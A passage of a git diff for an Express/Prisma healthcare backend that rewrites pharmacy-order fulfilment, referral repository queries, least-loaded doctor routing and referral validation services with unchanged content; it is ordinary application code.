-pharmacyOrdersRouter.post('/:id/fulfill', authenticate, requireRole('facility'), controllers.fulfillPharmacyOrder); +import { Router } from 'express'; +import { authenticate, requireRole } from '../../../middleware/auth'; +import * as controllers from '../controllers'; + +export const pharmacyOrdersRouter = Router(); + +pharmacyOrdersRouter.post('/', authenticate, controllers.createPharmacyOrder); +pharmacyOrdersRouter.get('/:id', authenticate, controllers.getPharmacyOrder); +pharmacyOrdersRouter.post('/:id/fulfill', authenticate, requireRole('facility'), controllers.fulfillPharmacyOrder); diff --git a/backend/src/modules/pharmacy-orders/services/index.ts b/backend/src/modules/pharmacy-orders/services/index.ts index 7f870316..81d6ea82 100644 --- a/backend/src/modules/pharmacy-orders/services/index.ts +++ b/backend/src/modules/pharmacy-orders/services/index.ts @@ -1,132 +1,132 @@ -import { prisma } from '../../../db/prisma-client'; -import { HttpError } from '../../../http-error'; -import { storageService, type UploadAttachmentOptions } from '../../../utils/storage'; -import { computeConfirmedSignal, formatOrderResponse } from '../../../utils/order-utils'; -import { record, type AuditActor } from '../../audit/services'; -import * as repo from '../repositories'; - -export { computeConfirmedSignal, formatOrderResponse }; - -export interface FulfillOrderInput { - referenceNumber: string; - attachment?: string | UploadAttachmentOptions; - notes?: string; -} - -export async function createPharmacyOrder(data: { - patientProfileId?: string; - prescribingDoctorId?: string; - details?: string; -}) { - if (!data.patientProfileId || typeof data.patientProfileId !== 'string') { - throw new HttpError(400, 'Patient profile ID is required.'); - } - - const patient = await prisma.patientProfile.findUnique({ - where: { id: data.patientProfileId }, - }); - if (!patient) { - throw new HttpError(404, 'Patient profile not found.'); - } - - const order = await prisma.$transaction(async (tx) => { - return repo.createOrder(tx, { - orderType: 'pharmacy', - patientProfileId: data.patientProfileId!, - prescribingDoctorId: data.prescribingDoctorId, - details: data.details, - }); - }); - - return formatOrderResponse(order); -} - -export async function fulfillPharmacyOrder( - orderId: string, - facilityUserId: string, - input: FulfillOrderInput, - actor: AuditActor, -) { - if (!orderId || typeof orderId !== 'string') { - throw new HttpError(400, 'Order ID is required.'); - } - - const existingCheck = await prisma.order.findUnique({ where: { id: orderId } }); - if (!existingCheck || existingCheck.orderType !== 'pharmacy') { - throw new HttpError(404, 'Pharmacy order not found.'); - } - - if (!input?.referenceNumber || typeof input.referenceNumber !== 'string' || input.referenceNumber.trim().length === 0) { - throw new HttpError(400, 'Reference number is required for fulfillment proof.'); - } - - const facilityProfile = await prisma.facilityProfile.findUnique({ - where: { userId: facilityUserId }, - }); - if (!facilityProfile) { - throw new HttpError(403, 'Facility profile required.'); - } - - let attachmentUrl: string | undefined = undefined; - if (input.attachment) { - attachmentUrl = await storageService.uploadAttachment(input.attachment); - } - - const result = await prisma.$transaction(async (tx) => { - const existing = await repo.findOrderById(tx, orderId, 'pharmacy'); - if (!existing) { - throw new HttpError(404, 'Pharmacy order not found.'); - } - if (existing.status === 'fulfilled') { - throw new HttpError(409, 'Pharmacy order has already been fulfilled.'); - } - if (existing.status !== 'issued') { - throw new HttpError(400, `Pharmacy order cannot be fulfilled from status: ${existing.status}`); - } - - const marked = await repo.markOrderFulfilled(tx, orderId, facilityProfile.id); - if (!marked) { - throw new HttpError(409, 'Failed to transition order status to fulfilled.'); - } - - await repo.createFulfillmentProof(tx, { - orderId, - facilityProfileId: facilityProfile.id, - referenceNumber: input.referenceNumber.trim(), - attachmentUrl, - notes: input.notes, - }); - - await record(tx, actor, { - entityType: 'Order', - entityId: orderId, - action: 'order.fulfilled', - fromState: 'issued', - toState: 'fulfilled', - metadata: { - orderType: 'pharmacy', - referenceNumber: input.referenceNumber.trim(), - facilityProfileId: facilityProfile.id, - }, - }); - - const updated = await repo.findOrderById(tx, orderId, 'pharmacy'); - if (!updated) { - throw new HttpError(500, 'Failed to fetch updated order.'); - } - return updated; - }); - - return formatOrderResponse(result); -} - -export async function getPharmacyOrderById(orderId: string) { - if (!orderId || typeof orderId !== 'string') { - throw new HttpError(400, 'Order ID is required.'); - } - const order = await repo.findOrderById(prisma, orderId, 'pharmacy'); - if (!order) { - throw new HttpError(404, 'Pharmacy order not found.'); - } - return formatOrderResponse(order); -} +import { prisma } from '../../../db/prisma-client'; +import { HttpError } from '../../../http-error'; +import { storageService, type UploadAttachmentOptions } from '../../../utils/storage'; +import { computeConfirmedSignal, formatOrderResponse } from '../../../utils/order-utils'; +import { record, type AuditActor } from '../../audit/services'; +import * as repo from '../repositories'; + +export { computeConfirmedSignal, formatOrderResponse }; + +export interface FulfillOrderInput { + referenceNumber: string; + attachment?: string | UploadAttachmentOptions; + notes?: string; +} + +export async function createPharmacyOrder(data: { + patientProfileId?: string; + prescribingDoctorId?: string; + details?: string; +}) { + if (!data.patientProfileId || typeof data.patientProfileId !== 'string') { + throw new HttpError(400, 'Patient profile ID is required.'); + } + + const patient = await prisma.patientProfile.findUnique({ + where: { id: data.patientProfileId }, + }); + if (!patient) { + throw new HttpError(404, 'Patient profile not found.'); + } + + const order = await prisma.$transaction(async (tx) => { + return repo.createOrder(tx, { + orderType: 'pharmacy', + patientProfileId: data.patientProfileId!, + prescribingDoctorId: data.prescribingDoctorId, + details: data.details, + }); + }); + + return formatOrderResponse(order); +} + +export async function fulfillPharmacyOrder( + orderId: string, + facilityUserId: string, + input: FulfillOrderInput, + actor: AuditActor, +) { + if (!orderId || typeof orderId !== 'string') { + throw new HttpError(400, 'Order ID is required.'); + } + + const existingCheck = await prisma.order.findUnique({ where: { id: orderId } }); + if (!existingCheck || existingCheck.orderType !== 'pharmacy') { + throw new HttpError(404, 'Pharmacy order not found.'); + } + + if (!input?.referenceNumber || typeof input.referenceNumber !== 'string' || input.referenceNumber.trim().length === 0) { + throw new HttpError(400, 'Reference number is required for fulfillment proof.'); + } + + const facilityProfile = await prisma.facilityProfile.findUnique({ + where: { userId: facilityUserId }, + }); + if (!facilityProfile) { + throw new HttpError(403, 'Facility profile required.'); + } + + let attachmentUrl: string | undefined = undefined; + if (input.attachment) { + attachmentUrl = await storageService.uploadAttachment(input.attachment); + } + + const result = await prisma.$transaction(async (tx) => { + const existing = await repo.findOrderById(tx, orderId, 'pharmacy'); + if (!existing) { + throw new HttpError(404, 'Pharmacy order not found.'); + } + if (existing.status === 'fulfilled') { + throw new HttpError(409, 'Pharmacy order has already been fulfilled.'); + } + if (existing.status !== 'issued') { + throw new HttpError(400, `Pharmacy order cannot be fulfilled from status: ${existing.status}`); + } + + const marked = await repo.markOrderFulfilled(tx, orderId, facilityProfile.id); + if (!marked) { + throw new HttpError(409, 'Failed to transition order status to fulfilled.'); + } + + await repo.createFulfillmentProof(tx, { + orderId, + facilityProfileId: facilityProfile.id, + referenceNumber: input.referenceNumber.trim(), + attachmentUrl, + notes: input.notes, + }); + + await record(tx, actor, { + entityType: 'Order', + entityId: orderId, + action: 'order.fulfilled', + fromState: 'issued', + toState: 'fulfilled', + metadata: { + orderType: 'pharmacy', + referenceNumber: input.referenceNumber.trim(), + facilityProfileId: facilityProfile.id, + }, + }); + + const updated = await repo.findOrderById(tx, orderId, 'pharmacy'); + if (!updated) { + throw new HttpError(500, 'Failed to fetch updated order.'); + } + return updated; + }); + + return formatOrderResponse(result); +} + +export async function getPharmacyOrderById(orderId: string) { + if (!orderId || typeof orderId !== 'string') { + throw new HttpError(400, 'Order ID is required.'); + } + const order = await repo.findOrderById(prisma, orderId, 'pharmacy'); + if (!order) { + throw new HttpError(404, 'Pharmacy order not found.'); + } + return formatOrderResponse(order); +} diff --git a/backend/src/modules/referrals/repositories/index.ts b/backend/src/modules/referrals/repositories/index.ts index 085d24c9..f22c8ab0 100644 --- a/backend/src/modules/referrals/repositories/index.ts +++ b/backend/src/modules/referrals/repositories/index.ts @@ -1,233 +1,233 @@ -import { prisma } from '../../../db/prisma-client'; -import { Prisma } from '@prisma/client'; -import type { ReferralExpiryReason as ExpiryReason, ReferralStatus } from '@prisma/client'; -import type { ChainNode } from '../loop'; - -type DbClient = typeof prisma | Prisma.TransactionClient; - -export interface CreateReferralData { - patientProfileId: string; - sourceConsultationId: string; - referringDoctorId: string; - targetDoctorId: string; - targetSpecialtyId?: string; - snapshotNotes: string; - parentReferralId?: string; - loopFlaggedAt?: Date; - loopFlagReason?: string; -} - -export function createReferral(db: DbClient, data: CreateReferralData) { - return db.referral.create({ data }); -} - -/** - * Active load per target doctor (issue #6, ADR 0008): referrals still - * `pending` or `accepted`. Terminal rows are excluded on purpose β€” a - * completed/declined/expired/cancelled referral is no longer outstanding - * work, so it must stop steering where future referrals land. Doctors - * with no rows are simply absent from the result (load = 0). - */ -export function countActiveReferralsByTargetDoctor(db: DbClient, targetDoctorIds: string[]) { - return db.referral.groupBy({ - by: ['targetDoctorId'], - where: { targetDoctorId: { in: targetDoctorIds }, status: { in: ['pending', 'accepted'] } }, - _count: { _all: true }, - }); -} - -export function findReferralById(db: DbClient, id: string) { - return db.referral.findUnique({ where: { id } }); -} - -/** - * The referral state machine's only write path for status transitions: a - * conditional UPDATE that matches the expected *current* (status, - * resultingAppointmentId) pair β€” the same shape as availability's - * claimOpenSlot. Two callers racing on the same referral (a double-fired - * cascade hook, a concurrent accept) can never both match; the loser sees - * `count === 0`. This is what makes the cascade rules idempotent by - * construction (issue #67), rather than trusting callers to only fire - * once. - */ -export function updateReferralConditional( - db: DbClient, - expected: { id: string; status: ReferralStatus; resultingAppointmentId: string | null }, - data: { - status?: ReferralStatus; - resultingAppointmentId?: string | null; - noShowCount?: number; - referringDoctorNotifiedAt?: Date; - expiredAt?: Date; - expiredReason?: ExpiryReason; - }, -) { - return db.referral.updateMany({ - where: { - id: expected.id, - status: expected.status, - resultingAppointmentId: expected.resultingAppointmentId, - }, - data, - }); -} - -/** - * Time-based expiry (issue #8): one conditional UPDATE moves every referral - * that is still `pending` and has not changed since `cutoff` to `expired`. - * Because the WHERE re-checks `status = 'pending'` in the same statement, a - * patient accepting/declining at the same moment either wins (the row no - * longer matches) or loses (the row is expired and their conditional update - * matches nothing) β€” never both. Re-running it is a no-op. - */ -export function expireStalePendingReferrals(db: DbClient, cutoff: Date, now: Date) { - return db.referral.updateMany({ - where: { status: 'pending', updatedAt: { lt: cutoff } }, - data: { - status: 'expired', - expiredAt: now, - expiredReason: 'ttl', - // Same seam as the no-show expiry: Phase 6 notifications read this to - // tell the referring doctor their referral lapsed. - referringDoctorNotifiedAt: now, - }, - }); -} - -/** Admin ops (issue #68): reassign/cancel are single-row, guarded on the - * expected status so two admins can't both act on the same stuck - * referral. Only ever called from the referrals service with a status the - * service has already authorised. */ -export function updateReferralIfStatus( - db: DbClient, - id: string, - expectedStatus: ReferralStatus | ReferralStatus[], - data: { - status?: ReferralStatus; - targetDoctorId?: string; - cancelledReason?: string; - }, -) { - return db.referral.updateMany({ - where: { id, status: Array.isArray(expectedStatus) ? { in: expectedStatus } : expectedStatus }, - data, - }); -} - -export function listReferralsForPatient(patientProfileId: string) { - return prisma.referral.findMany({ - where: { patientProfileId }, - include: { sourceConsultation: true }, - orderBy: { createdAt: 'desc' }, - }); -} - -export function listReferralsCreatedBy(referringDoctorId: string) { - return prisma.referral.findMany({ - where: { referringDoctorId }, - orderBy: { createdAt: 'desc' }, - }); -} - -/** Duplicate-specialty guard (#66): any referral already hanging off this - * consultation aimed at the same doctor or specialty. Matches ALL - * statuses on purpose β€” a declined referral still means "we tried this". */ -export function findByConsultationAndTarget( - db: DbClient, - sourceConsultationId: string, - target: { targetDoctorId: string; targetSpecialtyId?: string | null }, -) { - return db.referral.findFirst({ - where: { - sourceConsultationId, - OR: [ - { targetDoctorId: target.targetDoctorId }, - ...(target.targetSpecialtyId ? [{ targetSpecialtyId: target.targetSpecialtyId }] : []), - ], - }, - }); -} - -/** - * Issue #65: walk the ancestor chain of `fromReferralId` via its - * parentReferralId links, nearest-first, bounded at `limit` hops. If the - * last returned node still has a parent, the real chain is longer than - * the bound β€” evaluateReferralLoop turns that into a hard rejection. - * - * A recursive CTE, not N round-trips: bounded depth lives in the query - * itself, so a pathological chain can't fan out at the app layer. - */ -export async function findReferralAncestors( - db: DbClient, - fromReferralId: string | null, - limit: number, -): Promise { - if (!fromReferralId) return []; - const rows = await db.$queryRaw< - { - id: string; - referringDoctorId: string; - targetDoctorId: string; - targetSpecialtyId: string | null; - parentReferralId: string | null; - depth: number; - }[] - >(Prisma.sql` - WITH RECURSIVE referral_chain AS ( - SELECT - r."id", r."referringDoctorId", r."targetDoctorId", - r."targetSpecialtyId", r."parentReferralId", 1 AS depth - FROM "Referral" r - WHERE r."id" = ${fromReferralId} - UNION ALL - SELECT - r."id", r."referringDoctorId", r."targetDoctorId", - r."targetSpecialtyId", r."parentReferralId", c.depth + 1 - FROM "Referral" r - JOIN referral_chain c ON r."id" = c."parentReferralId" - WHERE c.depth < ${limit} - ) - SELECT * FROM referral_chain ORDER BY depth - `); - return rows; -} - -/** Lineage lookup for parentReferralId: the referral (if any) whose - * appointment produced this consultation. */ -export async function findParentReferralForConsultation( - db: DbClient, - sourceConsultationId: string, -): Promise { - const rows = await db.$queryRaw<{ referralId: string | null }[]>` - SELECT a."referralId" AS "referralId" - FROM "Consultation" c - JOIN "Appointment" a ON a."id" = c."appointmentId" - WHERE c."id" = ${sourceConsultationId} - `; - return rows[0]?.referralId ?? null; -} - -/** Issue #68: stuck-referral / loop-flagged admin queues. Filters are - * conjunctive; every one is optional so the same repo call serves both - * the "stale pending" view and the "loop-flagged" view. */ -export function listAdminQueue(filters: { - status?: ReferralStatus; - createdBefore?: Date; - loopFlagged?: boolean; -}) { - return prisma.referral.findMany({ - where: { - ...(filters.status ? { status: filters.status } : {}), - ...(filters.createdBefore ? { createdAt: { lt: filters.createdBefore } } : {}), - ...(filters.loopFlagged ? { loopFlaggedAt: { not: null } } : {}), - }, - include: { - sourceConsultation: { select: { id: true, outcome: true } }, - }, - orderBy: { createdAt: 'asc' }, - }); -} - -export async function patientHasReferrals(patientProfileId: string): Promise { - return (await prisma.referral.findFirst({ where: { patientProfileId }, select: { id: true } })) !== null; -} +import { prisma } from '../../../db/prisma-client'; +import { Prisma } from '@prisma/client'; +import type { ReferralExpiryReason as ExpiryReason, ReferralStatus } from '@prisma/client'; +import type { ChainNode } from '../loop'; + +type DbClient = typeof prisma | Prisma.TransactionClient; + +export interface CreateReferralData { + patientProfileId: string; + sourceConsultationId: string; + referringDoctorId: string; + targetDoctorId: string; + targetSpecialtyId?: string; + snapshotNotes: string; + parentReferralId?: string; + loopFlaggedAt?: Date; + loopFlagReason?: string; +} + +export function createReferral(db: DbClient, data: CreateReferralData) { + return db.referral.create({ data }); +} + +/** + * Active load per target doctor (issue #6, ADR 0008): referrals still + * `pending` or `accepted`. Terminal rows are excluded on purpose β€” a + * completed/declined/expired/cancelled referral is no longer outstanding + * work, so it must stop steering where future referrals land. Doctors + * with no rows are simply absent from the result (load = 0). + */ +export function countActiveReferralsByTargetDoctor(db: DbClient, targetDoctorIds: string[]) { + return db.referral.groupBy({ + by: ['targetDoctorId'], + where: { targetDoctorId: { in: targetDoctorIds }, status: { in: ['pending', 'accepted'] } }, + _count: { _all: true }, + }); +} + +export function findReferralById(db: DbClient, id: string) { + return db.referral.findUnique({ where: { id } }); +} + +/** + * The referral state machine's only write path for status transitions: a + * conditional UPDATE that matches the expected *current* (status, + * resultingAppointmentId) pair β€” the same shape as availability's + * claimOpenSlot. Two callers racing on the same referral (a double-fired + * cascade hook, a concurrent accept) can never both match; the loser sees + * `count === 0`. This is what makes the cascade rules idempotent by + * construction (issue #67), rather than trusting callers to only fire + * once. + */ +export function updateReferralConditional( + db: DbClient, + expected: { id: string; status: ReferralStatus; resultingAppointmentId: string | null }, + data: { + status?: ReferralStatus; + resultingAppointmentId?: string | null; + noShowCount?: number; + referringDoctorNotifiedAt?: Date; + expiredAt?: Date; + expiredReason?: ExpiryReason; + }, +) { + return db.referral.updateMany({ + where: { + id: expected.id, + status: expected.status, + resultingAppointmentId: expected.resultingAppointmentId, + }, + data, + }); +} + +/** + * Time-based expiry (issue #8): one conditional UPDATE moves every referral + * that is still `pending` and has not changed since `cutoff` to `expired`. + * Because the WHERE re-checks `status = 'pending'` in the same statement, a + * patient accepting/declining at the same moment either wins (the row no + * longer matches) or loses (the row is expired and their conditional update + * matches nothing) β€” never both. Re-running it is a no-op. + */ +export function expireStalePendingReferrals(db: DbClient, cutoff: Date, now: Date) { + return db.referral.updateMany({ + where: { status: 'pending', updatedAt: { lt: cutoff } }, + data: { + status: 'expired', + expiredAt: now, + expiredReason: 'ttl', + // Same seam as the no-show expiry: Phase 6 notifications read this to + // tell the referring doctor their referral lapsed. + referringDoctorNotifiedAt: now, + }, + }); +} + +/** Admin ops (issue #68): reassign/cancel are single-row, guarded on the + * expected status so two admins can't both act on the same stuck + * referral. Only ever called from the referrals service with a status the + * service has already authorised. */ +export function updateReferralIfStatus( + db: DbClient, + id: string, + expectedStatus: ReferralStatus | ReferralStatus[], + data: { + status?: ReferralStatus; + targetDoctorId?: string; + cancelledReason?: string; + }, +) { + return db.referral.updateMany({ + where: { id, status: Array.isArray(expectedStatus) ? { in: expectedStatus } : expectedStatus }, + data, + }); +} + +export function listReferralsForPatient(patientProfileId: string) { + return prisma.referral.findMany({ + where: { patientProfileId }, + include: { sourceConsultation: true }, + orderBy: { createdAt: 'desc' }, + }); +} + +export function listReferralsCreatedBy(referringDoctorId: string) { + return prisma.referral.findMany({ + where: { referringDoctorId }, + orderBy: { createdAt: 'desc' }, + }); +} + +/** Duplicate-specialty guard (#66): any referral already hanging off this + * consultation aimed at the same doctor or specialty. Matches ALL + * statuses on purpose β€” a declined referral still means "we tried this". */ +export function findByConsultationAndTarget( + db: DbClient, + sourceConsultationId: string, + target: { targetDoctorId: string; targetSpecialtyId?: string | null }, +) { + return db.referral.findFirst({ + where: { + sourceConsultationId, + OR: [ + { targetDoctorId: target.targetDoctorId }, + ...(target.targetSpecialtyId ? [{ targetSpecialtyId: target.targetSpecialtyId }] : []), + ], + }, + }); +} + +/** + * Issue #65: walk the ancestor chain of `fromReferralId` via its + * parentReferralId links, nearest-first, bounded at `limit` hops. If the + * last returned node still has a parent, the real chain is longer than + * the bound β€” evaluateReferralLoop turns that into a hard rejection. + * + * A recursive CTE, not N round-trips: bounded depth lives in the query + * itself, so a pathological chain can't fan out at the app layer. + */ +export async function findReferralAncestors( + db: DbClient, + fromReferralId: string | null, + limit: number, +): Promise { + if (!fromReferralId) return []; + const rows = await db.$queryRaw< + { + id: string; + referringDoctorId: string; + targetDoctorId: string; + targetSpecialtyId: string | null; + parentReferralId: string | null; + depth: number; + }[] + >(Prisma.sql` + WITH RECURSIVE referral_chain AS ( + SELECT + r."id", r."referringDoctorId", r."targetDoctorId", + r."targetSpecialtyId", r."parentReferralId", 1 AS depth + FROM "Referral" r + WHERE r."id" = ${fromReferralId} + UNION ALL + SELECT + r."id", r."referringDoctorId", r."targetDoctorId", + r."targetSpecialtyId", r."parentReferralId", c.depth + 1 + FROM "Referral" r + JOIN referral_chain c ON r."id" = c."parentReferralId" + WHERE c.depth < ${limit} + ) + SELECT * FROM referral_chain ORDER BY depth + `); + return rows; +} + +/** Lineage lookup for parentReferralId: the referral (if any) whose + * appointment produced this consultation. */ +export async function findParentReferralForConsultation( + db: DbClient, + sourceConsultationId: string, +): Promise { + const rows = await db.$queryRaw<{ referralId: string | null }[]>` + SELECT a."referralId" AS "referralId" + FROM "Consultation" c + JOIN "Appointment" a ON a."id" = c."appointmentId" + WHERE c."id" = ${sourceConsultationId} + `; + return rows[0]?.referralId ?? null; +} + +/** Issue #68: stuck-referral / loop-flagged admin queues. Filters are + * conjunctive; every one is optional so the same repo call serves both + * the "stale pending" view and the "loop-flagged" view. */ +export function listAdminQueue(filters: { + status?: ReferralStatus; + createdBefore?: Date; + loopFlagged?: boolean; +}) { + return prisma.referral.findMany({ + where: { + ...(filters.status ? { status: filters.status } : {}), + ...(filters.createdBefore ? { createdAt: { lt: filters.createdBefore } } : {}), + ...(filters.loopFlagged ? { loopFlaggedAt: { not: null } } : {}), + }, + include: { + sourceConsultation: { select: { id: true, outcome: true } }, + }, + orderBy: { createdAt: 'asc' }, + }); +} + +export async function patientHasReferrals(patientProfileId: string): Promise { + return (await prisma.referral.findFirst({ where: { patientProfileId }, select: { id: true } })) !== null; +} diff --git a/backend/src/modules/referrals/routing.ts b/backend/src/modules/referrals/routing.ts index c4cca78f..8c2daced 100644 --- a/backend/src/modules/referrals/routing.ts +++ b/backend/src/modules/referrals/routing.ts @@ -1,34 +1,34 @@ -// Specialty-only referral routing (issue #6, docs/adr/0008). -// -// The rule itself is a pure function over (doctor, active-load) pairs so -// it can be asserted exactly in unit tests without a database: lowest -// count of *active* (pending/accepted) referrals first, ties broken by -// doctorProfileId so the same candidate set always yields the same -// choice. Everything that touches the database (eligibility, counts) -// stays in services/repositories. -export interface RoutingCandidate { - doctorProfileId: string; - /** Referrals currently targeted at this doctor in a non-terminal state. */ - activeReferralCount: number; -} - -/** - * Least-loaded choice, or null when there is nobody eligible. Null is a - * real outcome (zero verified doctors in the specialty) β€” callers turn it - * into a 422; no referral is ever created without a target. - */ -export function selectLeastLoaded(candidates: RoutingCandidate[]): RoutingCandidate | null { - let best: RoutingCandidate | null = null; - for (const candidate of candidates) { - if (best === null || candidate.activeReferralCount < best.activeReferralCount) { - best = candidate; - continue; - } - // Equal load: deterministic tie-break so routing is reproducible and - // testable. Doctor ids are UUIDs, so this is arbitrary but stable. - if (candidate.activeReferralCount === best.activeReferralCount && candidate.doctorProfileId < best.doctorProfileId) { - best = candidate; - } - } - return best; -} +// Specialty-only referral routing (issue #6, docs/adr/0008). +// +// The rule itself is a pure function over (doctor, active-load) pairs so +// it can be asserted exactly in unit tests without a database: lowest +// count of *active* (pending/accepted) referrals first, ties broken by +// doctorProfileId so the same candidate set always yields the same +// choice. Everything that touches the database (eligibility, counts) +// stays in services/repositories. +export interface RoutingCandidate { + doctorProfileId: string; + /** Referrals currently targeted at this doctor in a non-terminal state. */ + activeReferralCount: number; +} + +/** + * Least-loaded choice, or null when there is nobody eligible. Null is a + * real outcome (zero verified doctors in the specialty) β€” callers turn it + * into a 422; no referral is ever created without a target. + */ +export function selectLeastLoaded(candidates: RoutingCandidate[]): RoutingCandidate | null { + let best: RoutingCandidate | null = null; + for (const candidate of candidates) { + if (best === null || candidate.activeReferralCount < best.activeReferralCount) { + best = candidate; + continue; + } + // Equal load: deterministic tie-break so routing is reproducible and + // testable. Doctor ids are UUIDs, so this is arbitrary but stable. + if (candidate.activeReferralCount === best.activeReferralCount && candidate.doctorProfileId < best.doctorProfileId) { + best = candidate; + } + } + return best; +} diff --git a/backend/src/modules/referrals/services/index.ts b/backend/src/modules/referrals/services/index.ts index 1d3da10f..f0262089 100644 --- a/backend/src/modules/referrals/services/index.ts +++ b/backend/src/modules/referrals/services/index.ts @@ -1,691 +1,691 @@ -// Referrals services β€” the only exported surface other modules (and this -// module's own controllers) may call. Never import repositories/* from -// outside this module. -// -// NOTE: this module and appointments/services import each other (accept -// creates an appointment via the appointments service; appointment status -// changes cascade back through applyAppointmentOutcome below; admin cancel -// closes a live appointment through forceCancelAppointment). The cycle is -// runtime-safe under ESM live bindings β€” every cross-call happens inside -// an async function, after both modules have finished loading β€” and is -// the smallest seam that keeps each module owning its own table -// (ARCHITECTURE.md Β§3 / ARCHITECTURE_ESSENTIALS.md hard rule 4). -import { prisma } from '../../../db/prisma-client'; -import { config } from '../../../config'; -import { HttpError } from '../../../http-error'; -import type { Prisma, ReferralStatus } from '@prisma/client'; -import * as referralsRepo from '../repositories'; -import * as appointmentsService from '../../appointments/services'; -import * as auditService from '../../audit/services'; -import * as doctorsService from '../../doctors/services'; -import * as patientsService from '../../patients/services'; -import { evaluateReferralLoop, LoopGuardError, REFERRAL_MAX_HOPS } from '../loop'; -import { selectLeastLoaded } from '../routing'; - -/** How many referral-origin no-shows it takes to give up on a referral - * (PRD Β§8.2.3: "repeated no-shows β†’ expired"). Two is a deliberately - * boring v1 default, not a tuned threshold β€” revisit when real no-show - * data exists. Lives here, not in config, so the cascade and its tests - * read from one place. */ -export const NO_SHOW_EXPIRY_THRESHOLD = 2; - -export interface ReferralTargetInput { - /** Explicit recipient. When omitted, `targetSpecialtyId` is required and - * routing picks a doctor (issue #6, docs/adr/0008). */ - targetDoctorId?: string; - targetSpecialtyId?: string; - snapshotNotes: string; -} - -export interface CreateReferralInput extends ReferralTargetInput { - sourceConsultationId: string; -} - -interface PreparedReferral { - patientProfileId: string; - sourceConsultationId: string; - referringDoctorId: string; - targetDoctorId: string; - targetSpecialtyId?: string; - snapshotNotes: string; - parentReferralId?: string; - loopFlaggedAt?: Date; - loopFlagReason?: string; -} - -/** - * Resolve a target to a concrete doctor (issue #6, docs/adr/0008): - * an explicit `targetDoctorId` is returned untouched; a specialty-only - * target is routed to the least-loaded eligible doctor in that specialty. - * `excludeDoctorIds` carries the ids this batch must not route to (the - * referring doctor is always excluded by the eligibility query). - * - * Throws 422 when nobody is eligible β€” creation then fails wholesale and - * no unassigned referral row exists. That is the deliberate v1 answer to - * PRD Β§8.2.2: the referring doctor learns at the point of referral that - * no specialist is available, rather than handing the patient a referral - * nobody owns. - */ -async function resolveTargetDoctor( - db: Prisma.TransactionClient, - referringDoctorId: string, - target: ReferralTargetInput, - excludeDoctorIds: string[], -): Promise { - if (target.targetDoctorId) return target.targetDoctorId; - - if (!target.targetSpecialtyId) { - throw new HttpError(422, 'A referral needs either a target doctor or a target specialty.'); - } - - const eligibleDoctorIds = await doctorsService.listEligibleReferralTargets(target.targetSpecialtyId, [ - referringDoctorId, - ...excludeDoctorIds, - ]); - if (eligibleDoctorIds.length === 0) { - throw new HttpError( - 422, - 'No verified doctor is available to receive a referral for this specialty. Name a specific doctor instead.', - 'REFERRAL_NO_ELIGIBLE_TARGET', - ); - } - - const loadRows = await referralsRepo.countActiveReferralsByTargetDoctor(db, eligibleDoctorIds); - const loadByDoctorId = new Map(loadRows.map((row) => [row.targetDoctorId, row._count._all])); - const chosen = selectLeastLoaded( - eligibleDoctorIds.map((doctorProfileId) => ({ - doctorProfileId, - activeReferralCount: loadByDoctorId.get(doctorProfileId) ?? 0, - })), - ); - if (!chosen) { - // Unreachable: the candidate list is non-empty. Kept so the return - // type is honest instead of asserted away. - throw new HttpError( - 422, - 'No verified doctor is available to receive a referral for this specialty.', - 'REFERRAL_NO_ELIGIBLE_TARGET', - ); - } - return chosen.doctorProfileId; -} - -/** - * Shared validation for one referral target against its source - * consultation. Returns the fully-prepared row data (lineage + loop flag - * resolved) or throws. `existingTargets` guards the multi-referral batch - * case (#66): two targets in one batch may not share a doctor or - * specialty. `excludeFromRouting` carries the batch's explicit targets - * and already-routed ones, so one batch never routes a specialty-only - * target onto a doctor the same batch named explicitly (ADR 0008 Β§5). - */ -async function prepareReferralTarget( - db: Prisma.TransactionClient, - consultation: { - id: string; - appointment: { patientProfileId: string; doctorProfileId: string; status: string } | null; - }, - referringDoctorId: string, - target: ReferralTargetInput, - existingTargets: { targetDoctorId: string; targetSpecialtyId?: string | null }[], - excludeFromRouting: string[] = [], -): Promise { - if (!consultation.appointment) { - throw new HttpError(422, 'Consultation has no appointment; lineage cannot be established.'); - } - if (consultation.appointment.doctorProfileId !== referringDoctorId) { - throw new HttpError(403, 'You can only refer from your own consultation.'); - } - if (consultation.appointment.status !== 'completed') { - throw new HttpError(409, 'A referral requires a completed appointment.'); - } - - const patientProfileId = consultation.appointment.patientProfileId; - - // Routing first: everything below (self-referral gate, verification, - // duplicate checks, loop walk) then sees one resolved doctor regardless - // of whether the referring doctor named them or the rule picked them. - const targetDoctorId = await resolveTargetDoctor(db, referringDoctorId, target, excludeFromRouting); - - if (targetDoctorId === referringDoctorId) { - throw new HttpError(422, 'A doctor cannot refer a patient to themselves.'); - } - await doctorsService.assertDoctorVerified(targetDoctorId); - if (target.targetSpecialtyId) { - await doctorsService.assertDoctorVerifiedInSpecialty(targetDoctorId, target.targetSpecialtyId); - } - - const duplicateInBatch = existingTargets.some( - (other) => - other.targetDoctorId === targetDoctorId || - (!!target.targetSpecialtyId && other.targetSpecialtyId === target.targetSpecialtyId), - ); - if (duplicateInBatch) { - throw new HttpError(422, 'Duplicate target doctor or specialty in this set of referrals.'); - } - - const duplicateInConsultation = await referralsRepo.findByConsultationAndTarget(db, consultation.id, { - targetDoctorId, - targetSpecialtyId: target.targetSpecialtyId ?? null, - }); - if (duplicateInConsultation) { - throw new HttpError(409, 'A referral to this doctor or specialty already exists for this consultation.'); - } - - const parentReferralId = - (await referralsRepo.findParentReferralForConsultation(db, consultation.id)) ?? undefined; - - let loopFlaggedAt: Date | undefined; - let loopFlagReason: string | undefined; - if (parentReferralId) { - const ancestors = await referralsRepo.findReferralAncestors(db, parentReferralId, REFERRAL_MAX_HOPS - 1); - try { - const evaluation = evaluateReferralLoop(ancestors, { - referringDoctorId, - targetDoctorId, - targetSpecialtyId: target.targetSpecialtyId ?? null, - }); - if (evaluation.flagged) { - loopFlaggedAt = new Date(); - loopFlagReason = evaluation.reason ?? undefined; - } - } catch (error) { - if (error instanceof LoopGuardError) { - throw new HttpError(422, error.message); - } - throw error; - } - } - - return { - patientProfileId, - sourceConsultationId: consultation.id, - referringDoctorId, - targetDoctorId, - targetSpecialtyId: target.targetSpecialtyId, - snapshotNotes: target.snapshotNotes, - parentReferralId, - loopFlaggedAt, - loopFlagReason, - }; -} - -async function loadConsultationForReferringDoctor(db: Prisma.TransactionClient, sourceConsultationId: string) { - const consultation = await db.consultation.findUnique({ - where: { id: sourceConsultationId }, - include: { appointment: true }, - }); - if (!consultation) throw new HttpError(404, 'Consultation not found.'); - return consultation; -} - -/** - * Single referral creation (issues #5/#65/#66/#67 foundation). One - * transaction per call β€” the 